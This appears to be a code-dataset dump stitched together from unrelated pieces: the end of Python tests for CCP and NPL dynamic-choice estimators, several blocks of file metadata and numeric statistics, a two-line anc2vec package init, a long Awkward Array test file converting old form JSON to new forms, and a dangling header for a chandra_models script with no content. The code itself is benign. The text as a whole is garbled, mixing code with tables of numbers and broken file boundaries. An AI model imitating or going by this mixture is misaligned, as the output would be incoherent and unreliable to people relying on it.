true_params = [0.5, 3]
discount_factor = 0.95
n_choices = 2
n_states = 5
state_manager = StateManager(miles=n_states)
@average_out(n_repetitions)
def test():
df, ccp = simulate(
500,
100,
n_choices,
state_manager,
true_params,
utility_fn,
discount_factor,
simple_transition_matrix
)
algorithm = CCP(
df['action'].values,
df['state'].values,
simple_transition_matrix,
utility_fn,
discount_factor,
initial_p=ccp,
parameter_names=['variable_cost', 'replacement_cost']
)
return algorithm.estimate(start_params=[1, 1], method='bfgs')
mean_params = test()
tolerance_levels = np.array([0.05, 0.05])
assert np.all(np.abs(mean_params - true_params) < tolerance_levels)
def test_npl(simple_transition_matrix):
def utility_fn(theta, choices, states):
m_states, m_actions = np.meshgrid(states, choices)
return (theta[0] * np.log(m_states + 1) - theta[1] * m_actions).reshape((len(choices), -1, 1))
true_params = [0.5, 3]
discount_factor = 0.95
n_choices = 2
n_states = 5
state_manager = StateManager(miles=n_states)
@average_out(n_repetitions)
def test():
df, _ = simulate(
500,
100,
n_choices,
state_manager,
true_params,
utility_fn,
discount_factor,
simple_transition_matrix)
ccp = random_ccp(n_states, n_choices)
algorithm = NPL(
df['action'].values,
df['state'].values,
simple_transition_matrix,
utility_fn,
discount_factor,
initial_p=ccp,
parameter_names=['variable_cost', 'replacement_cost']
)
return algorithm.estimate(start_params=[1, 1], method='bfgs')
mean_params = test()
tolerance_levels = np.array([0.05, 0.05])
assert np.all(np.abs(mean_params - true_params) < tolerance_levels)
def test_npl_relaxation_param(simple_transition_matrix):
def utility_fn(theta, choices, states):
m_states, m_actions = np.meshgrid(states, choices)
return (theta[0] * np.log(m_states + 1) - theta[1] * m_actions).reshape((len(choices), -1, 1))
true_params = [0.5, 3]
discount_factor = 0.95
n_choices = 2
n_states = 5
state_manager = StateManager(miles=n_states)
@average_out(n_repetitions)
def test():
df, _ = simulate(500,
100,
n_choices,
state_manager,
true_params,
utility_fn,
discount_factor,
simple_transition_matrix)
ccp = random_ccp(n_states, n_choices)
algorithm = NPL(
df['action'].values,
df['state'].values,
simple_transition_matrix,
utility_fn,
discount_factor,
initial_p=ccp,
relaxation_param=0.9,
parameter_names=['variable_cost', 'replacement_cost'],
npl_maxiter=50
)
return algorithm.estimate(start_params=[1, 1], method='bfgs')
mean_params = test()
tolerance_levels = np.array([0.05, 0.05])
assert np.all(np.abs(mean_params - true_params) < tolerance_levels)
| 28.497238
| 102
| 0.584529
| 604
| 5,158
| 4.711921
| 0.139073
| 0.067463
| 0.092762
| 0.064652
| 0.902319
| 0.902319
| 0.887913
| 0.887913
| 0.887913
| 0.887913
| 0
| 0.032194
| 0.313494
| 5,158
| 180
| 103
| 28.655556
| 0.771533
| 0
| 0
| 0.830986
| 0
| 0
| 0.034122
| 0
| 0
| 0
| 0
| 0
| 0.028169
| 1
| 0.084507
| false
| 0
| 0.035211
| 0
| 0.176056
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d11910a08a091567d8c19c7719bda8f82d066c1f
| 58
|
py
|
Python
|
anc2vec/__init__.py
|
aedera/anc2vec
|
58aaa908a7155c3843813ca77dde5c8877244a70
|
[
"MIT"
] | 2
|
2021-04-13T17:39:42.000Z
|
2022-02-10T01:34:58.000Z
|
anc2vec/__init__.py
|
sinc-lab/anc2vec
|
58aaa908a7155c3843813ca77dde5c8877244a70
|
[
"MIT"
] | null | null | null |
anc2vec/__init__.py
|
sinc-lab/anc2vec
|
58aaa908a7155c3843813ca77dde5c8877244a70
|
[
"MIT"
] | 1
|
2022-01-04T15:29:55.000Z
|
2022-01-04T15:29:55.000Z
|
from .main import get_embeddings
from .main import get_go
| 19.333333
| 32
| 0.827586
| 10
| 58
| 4.6
| 0.6
| 0.347826
| 0.608696
| 0.73913
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.137931
| 58
| 2
| 33
| 29
| 0.92
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
0f8c12e25df9b21d79f5da2d0f2f8cfe759d23dd
| 32,763
|
py
|
Python
|
tests/v2/test_0958-new-forms-must-accept-old-form-json.py
|
colesbury/awkward-1.0
|
d036ab18eb54de8a2571d9f179d315ac8ee22119
|
[
"BSD-3-Clause"
] | null | null | null |
tests/v2/test_0958-new-forms-must-accept-old-form-json.py
|
colesbury/awkward-1.0
|
d036ab18eb54de8a2571d9f179d315ac8ee22119
|
[
"BSD-3-Clause"
] | null | null | null |
tests/v2/test_0958-new-forms-must-accept-old-form-json.py
|
colesbury/awkward-1.0
|
d036ab18eb54de8a2571d9f179d315ac8ee22119
|
[
"BSD-3-Clause"
] | null | null | null |
# BSD 3-Clause License; see https://github.com/scikit-hep/awkward-1.0/blob/main/LICENSE
import json
import pytest # noqa: F401
import numpy as np # noqa: F401
import awkward as ak # noqa: F401
def test_EmptyArray():
v1 = json.loads(
'{"class":"EmptyArray","has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "EmptyArray",
"has_identifier": False,
"parameters": {},
"form_key": None,
}
def test_NumpyArray():
v1 = json.loads(
'{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
}
v1 = json.loads(
'{"class":"NumpyArray","inner_shape":[3,5],"itemsize":8,"format":"l","primitive":"int64","has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "NumpyArray",
"primitive": "int64",
"inner_shape": [3, 5],
"has_identifier": False,
"parameters": {},
"form_key": None,
}
def test_RegularArray_NumpyArray():
v1 = json.loads(
'{"class":"RegularArray","content":{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null},"size":3,"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "RegularArray",
"size": 3,
"content": {
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
},
"has_identifier": False,
"parameters": {},
"form_key": None,
}
v1 = json.loads(
'{"class":"RegularArray","content":{"class":"EmptyArray","has_identities":false,"parameters":{},"form_key":null},"size":0,"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "RegularArray",
"size": 0,
"content": {
"class": "EmptyArray",
"has_identifier": False,
"parameters": {},
"form_key": None,
},
"has_identifier": False,
"parameters": {},
"form_key": None,
}
def test_ListArray_NumpyArray():
v1 = json.loads(
'{"class":"ListArray64","starts":"i64","stops":"i64","content":{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null},"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "ListArray",
"starts": "i64",
"stops": "i64",
"content": {
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
},
"has_identifier": False,
"parameters": {},
"form_key": None,
}
def test_ListOffsetArray_NumpyArray():
v1 = json.loads(
'{"class":"ListOffsetArray64","offsets":"i64","content":{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null},"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "ListOffsetArray",
"offsets": "i64",
"content": {
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
},
"has_identifier": False,
"parameters": {},
"form_key": None,
}
def test_RecordArray_NumpyArray():
v1 = json.loads(
'{"class":"RecordArray","contents":{"x":{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"l","primitive":"int64","has_identities":false,"parameters":{},"form_key":null},"y":{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null}},"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "RecordArray",
"contents": {
"x": {
"class": "NumpyArray",
"primitive": "int64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
},
"y": {
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
},
},
"has_identifier": False,
"parameters": {},
"form_key": None,
}
v1 = json.loads(
'{"class":"RecordArray","contents":[{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"l","primitive":"int64","has_identities":false,"parameters":{},"form_key":null},{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null}],"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "RecordArray",
"contents": [
{
"class": "NumpyArray",
"primitive": "int64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
},
{
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
},
],
"has_identifier": False,
"parameters": {},
"form_key": None,
}
v1 = json.loads(
'{"class":"RecordArray","contents":{},"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "RecordArray",
"contents": {},
"has_identifier": False,
"parameters": {},
"form_key": None,
}
v1 = json.loads(
'{"class":"RecordArray","contents":[],"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "RecordArray",
"contents": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
}
def test_IndexedArray_NumpyArray():
v1 = json.loads(
'{"class":"IndexedArray64","index":"i64","content":{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null},"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "IndexedArray",
"index": "i64",
"content": {
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
},
"has_identifier": False,
"parameters": {},
"form_key": None,
}
def test_IndexedOptionArray_NumpyArray():
v1 = json.loads(
'{"class":"IndexedOptionArray64","index":"i64","content":{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null},"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "IndexedOptionArray",
"index": "i64",
"content": {
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
},
"has_identifier": False,
"parameters": {},
"form_key": None,
}
def test_ByteMaskedArray_NumpyArray():
v1 = json.loads(
'{"class":"ByteMaskedArray","mask":"i8","content":{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null},"valid_when":true,"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "ByteMaskedArray",
"mask": "i8",
"valid_when": True,
"content": {
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
},
"has_identifier": False,
"parameters": {},
"form_key": None,
}
v1 = json.loads(
'{"class":"ByteMaskedArray","mask":"i8","content":{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null},"valid_when":false,"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "ByteMaskedArray",
"mask": "i8",
"valid_when": False,
"content": {
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
},
"has_identifier": False,
"parameters": {},
"form_key": None,
}
def test_BitMaskedArray_NumpyArray():
v1 = json.loads(
'{"class":"BitMaskedArray","mask":"u8","content":{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null},"valid_when":true,"lsb_order":false,"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "BitMaskedArray",
"mask": "u8",
"valid_when": True,
"lsb_order": False,
"content": {
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
},
"has_identifier": False,
"parameters": {},
"form_key": None,
}
v1 = json.loads(
'{"class":"BitMaskedArray","mask":"u8","content":{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null},"valid_when":false,"lsb_order":false,"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "BitMaskedArray",
"mask": "u8",
"valid_when": False,
"lsb_order": False,
"content": {
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
},
"has_identifier": False,
"parameters": {},
"form_key": None,
}
v1 = json.loads(
'{"class":"BitMaskedArray","mask":"u8","content":{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null},"valid_when":true,"lsb_order":true,"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "BitMaskedArray",
"mask": "u8",
"valid_when": True,
"lsb_order": True,
"content": {
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
},
"has_identifier": False,
"parameters": {},
"form_key": None,
}
v1 = json.loads(
'{"class":"BitMaskedArray","mask":"u8","content":{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null},"valid_when":false,"lsb_order":true,"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "BitMaskedArray",
"mask": "u8",
"valid_when": False,
"lsb_order": True,
"content": {
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
},
"has_identifier": False,
"parameters": {},
"form_key": None,
}
def test_UnmaskedArray_NumpyArray():
v1 = json.loads(
'{"class":"UnmaskedArray","content":{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null},"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "UnmaskedArray",
"content": {
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
},
"has_identifier": False,
"parameters": {},
"form_key": None,
}
def test_UnionArray_NumpyArray():
v1 = json.loads(
'{"class":"UnionArray8_64","tags":"i8","index":"i64","contents":[{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"l","primitive":"int64","has_identities":false,"parameters":{},"form_key":null},{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null}],"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "UnionArray",
"tags": "i8",
"index": "i64",
"contents": [
{
"class": "NumpyArray",
"primitive": "int64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
},
{
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
},
],
"has_identifier": False,
"parameters": {},
"form_key": None,
}
def test_RegularArray_RecordArray_NumpyArray():
v1 = json.loads(
'{"class":"RegularArray","content":{"class":"RecordArray","contents":{"nest":{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null}},"has_identities":false,"parameters":{},"form_key":null},"size":3,"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "RegularArray",
"size": 3,
"content": {
"class": "RecordArray",
"contents": {
"nest": {
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
}
},
"has_identifier": False,
"parameters": {},
"form_key": None,
},
"has_identifier": False,
"parameters": {},
"form_key": None,
}
v1 = json.loads(
'{"class":"RegularArray","content":{"class":"RecordArray","contents":{"nest":{"class":"EmptyArray","has_identities":false,"parameters":{},"form_key":null}},"has_identities":false,"parameters":{},"form_key":null},"size":0,"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "RegularArray",
"size": 0,
"content": {
"class": "RecordArray",
"contents": {
"nest": {
"class": "EmptyArray",
"has_identifier": False,
"parameters": {},
"form_key": None,
}
},
"has_identifier": False,
"parameters": {},
"form_key": None,
},
"has_identifier": False,
"parameters": {},
"form_key": None,
}
def test_ListArray_RecordArray_NumpyArray():
v1 = json.loads(
'{"class":"ListArray64","starts":"i64","stops":"i64","content":{"class":"RecordArray","contents":{"nest":{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null}},"has_identities":false,"parameters":{},"form_key":null},"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "ListArray",
"starts": "i64",
"stops": "i64",
"content": {
"class": "RecordArray",
"contents": {
"nest": {
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
}
},
"has_identifier": False,
"parameters": {},
"form_key": None,
},
"has_identifier": False,
"parameters": {},
"form_key": None,
}
def test_ListOffsetArray_RecordArray_NumpyArray():
v1 = json.loads(
'{"class":"ListOffsetArray64","offsets":"i64","content":{"class":"RecordArray","contents":{"nest":{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null}},"has_identities":false,"parameters":{},"form_key":null},"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "ListOffsetArray",
"offsets": "i64",
"content": {
"class": "RecordArray",
"contents": {
"nest": {
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
}
},
"has_identifier": False,
"parameters": {},
"form_key": None,
},
"has_identifier": False,
"parameters": {},
"form_key": None,
}
def test_IndexedArray_RecordArray_NumpyArray():
v1 = json.loads(
'{"class":"IndexedArray64","index":"i64","content":{"class":"RecordArray","contents":{"nest":{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null}},"has_identities":false,"parameters":{},"form_key":null},"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "IndexedArray",
"index": "i64",
"content": {
"class": "RecordArray",
"contents": {
"nest": {
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
}
},
"has_identifier": False,
"parameters": {},
"form_key": None,
},
"has_identifier": False,
"parameters": {},
"form_key": None,
}
def test_IndexedOptionArray_RecordArray_NumpyArray():
v1 = json.loads(
'{"class":"IndexedOptionArray64","index":"i64","content":{"class":"RecordArray","contents":{"nest":{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null}},"has_identities":false,"parameters":{},"form_key":null},"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "IndexedOptionArray",
"index": "i64",
"content": {
"class": "RecordArray",
"contents": {
"nest": {
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
}
},
"has_identifier": False,
"parameters": {},
"form_key": None,
},
"has_identifier": False,
"parameters": {},
"form_key": None,
}
def test_ByteMaskedArray_RecordArray_NumpyArray():
v1 = json.loads(
'{"class":"ByteMaskedArray","mask":"i8","content":{"class":"RecordArray","contents":{"nest":{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null}},"has_identities":false,"parameters":{},"form_key":null},"valid_when":true,"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "ByteMaskedArray",
"mask": "i8",
"valid_when": True,
"content": {
"class": "RecordArray",
"contents": {
"nest": {
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
}
},
"has_identifier": False,
"parameters": {},
"form_key": None,
},
"has_identifier": False,
"parameters": {},
"form_key": None,
}
v1 = json.loads(
'{"class":"ByteMaskedArray","mask":"i8","content":{"class":"RecordArray","contents":{"nest":{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null}},"has_identities":false,"parameters":{},"form_key":null},"valid_when":false,"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "ByteMaskedArray",
"mask": "i8",
"valid_when": False,
"content": {
"class": "RecordArray",
"contents": {
"nest": {
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
}
},
"has_identifier": False,
"parameters": {},
"form_key": None,
},
"has_identifier": False,
"parameters": {},
"form_key": None,
}
def test_BitMaskedArray_RecordArray_NumpyArray():
v1 = json.loads(
'{"class":"BitMaskedArray","mask":"u8","content":{"class":"RecordArray","contents":{"nest":{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null}},"has_identities":false,"parameters":{},"form_key":null},"valid_when":true,"lsb_order":false,"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "BitMaskedArray",
"mask": "u8",
"valid_when": True,
"lsb_order": False,
"content": {
"class": "RecordArray",
"contents": {
"nest": {
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
}
},
"has_identifier": False,
"parameters": {},
"form_key": None,
},
"has_identifier": False,
"parameters": {},
"form_key": None,
}
v1 = json.loads(
'{"class":"BitMaskedArray","mask":"u8","content":{"class":"RecordArray","contents":{"nest":{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null}},"has_identities":false,"parameters":{},"form_key":null},"valid_when":false,"lsb_order":false,"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "BitMaskedArray",
"mask": "u8",
"valid_when": False,
"lsb_order": False,
"content": {
"class": "RecordArray",
"contents": {
"nest": {
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
}
},
"has_identifier": False,
"parameters": {},
"form_key": None,
},
"has_identifier": False,
"parameters": {},
"form_key": None,
}
v1 = json.loads(
'{"class":"BitMaskedArray","mask":"u8","content":{"class":"RecordArray","contents":{"nest":{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null}},"has_identities":false,"parameters":{},"form_key":null},"valid_when":true,"lsb_order":true,"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "BitMaskedArray",
"mask": "u8",
"valid_when": True,
"lsb_order": True,
"content": {
"class": "RecordArray",
"contents": {
"nest": {
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
}
},
"has_identifier": False,
"parameters": {},
"form_key": None,
},
"has_identifier": False,
"parameters": {},
"form_key": None,
}
v1 = json.loads(
'{"class":"BitMaskedArray","mask":"u8","content":{"class":"RecordArray","contents":{"nest":{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null}},"has_identities":false,"parameters":{},"form_key":null},"valid_when":false,"lsb_order":true,"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "BitMaskedArray",
"mask": "u8",
"valid_when": False,
"lsb_order": True,
"content": {
"class": "RecordArray",
"contents": {
"nest": {
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
}
},
"has_identifier": False,
"parameters": {},
"form_key": None,
},
"has_identifier": False,
"parameters": {},
"form_key": None,
}
def test_UnmaskedArray_RecordArray_NumpyArray():
v1 = json.loads(
'{"class":"UnmaskedArray","content":{"class":"RecordArray","contents":{"nest":{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null}},"has_identities":false,"parameters":{},"form_key":null},"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "UnmaskedArray",
"content": {
"class": "RecordArray",
"contents": {
"nest": {
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
}
},
"has_identifier": False,
"parameters": {},
"form_key": None,
},
"has_identifier": False,
"parameters": {},
"form_key": None,
}
def test_UnionArray_RecordArray_NumpyArray():
v1 = json.loads(
'{"class":"UnionArray8_64","tags":"i8","index":"i64","contents":[{"class":"RecordArray","contents":{"nest":{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"l","primitive":"int64","has_identities":false,"parameters":{},"form_key":null}},"has_identities":false,"parameters":{},"form_key":null},{"class":"RecordArray","contents":{"nest":{"class":"NumpyArray","inner_shape":[],"itemsize":8,"format":"d","primitive":"float64","has_identities":false,"parameters":{},"form_key":null}},"has_identities":false,"parameters":{},"form_key":null}],"has_identities":false,"parameters":{},"form_key":null}'
)
v2 = ak._v2.forms.from_iter(v1).tolist()
assert v2 == {
"class": "UnionArray",
"tags": "i8",
"index": "i64",
"contents": [
{
"class": "RecordArray",
"contents": {
"nest": {
"class": "NumpyArray",
"primitive": "int64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
}
},
"has_identifier": False,
"parameters": {},
"form_key": None,
},
{
"class": "RecordArray",
"contents": {
"nest": {
"class": "NumpyArray",
"primitive": "float64",
"inner_shape": [],
"has_identifier": False,
"parameters": {},
"form_key": None,
}
},
"has_identifier": False,
"parameters": {},
"form_key": None,
},
],
"has_identifier": False,
"parameters": {},
"form_key": None,
}
| 36.89527
| 612
| 0.500534
| 2,874
| 32,763
| 5.509395
| 0.032359
| 0.159151
| 0.201592
| 0.233422
| 0.988695
| 0.988064
| 0.977201
| 0.975243
| 0.96697
| 0.960086
| 0
| 0.02037
| 0.300247
| 32,763
| 887
| 613
| 36.936866
| 0.670287
| 0.003602
| 0
| 0.750907
| 0
| 0.038694
| 0.490809
| 0.313879
| 0
| 0
| 0
| 0
| 0.042322
| 1
| 0.025393
| false
| 0
| 0.004837
| 0
| 0.03023
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
7e626c3b33a835d03a1a8943fc059fb92dbf93f5
| 2,919
|
py
|
Python
|
chandra_models/xija/aca/aca_fit_script.py
|
jzuhone/chandra_models
|
db52e8f78e61871e1b0a34593fc525b784ee3374
|
[
"BSD-3-Clause"
] | null | null | null |
chandra_models/xija/aca/aca_fit_script.py
|
jzuhone/chandra_models
|
db52e8f78e61871e1b0a34593fc525b784ee3374
|
[
"BSD-3-Clause"
] | 37
|
2015-02-25T23:30:19.000Z
|
2022-02-14T21:03:34.000Z
|
chandra_models/xija/aca/aca_fit_script.py
|
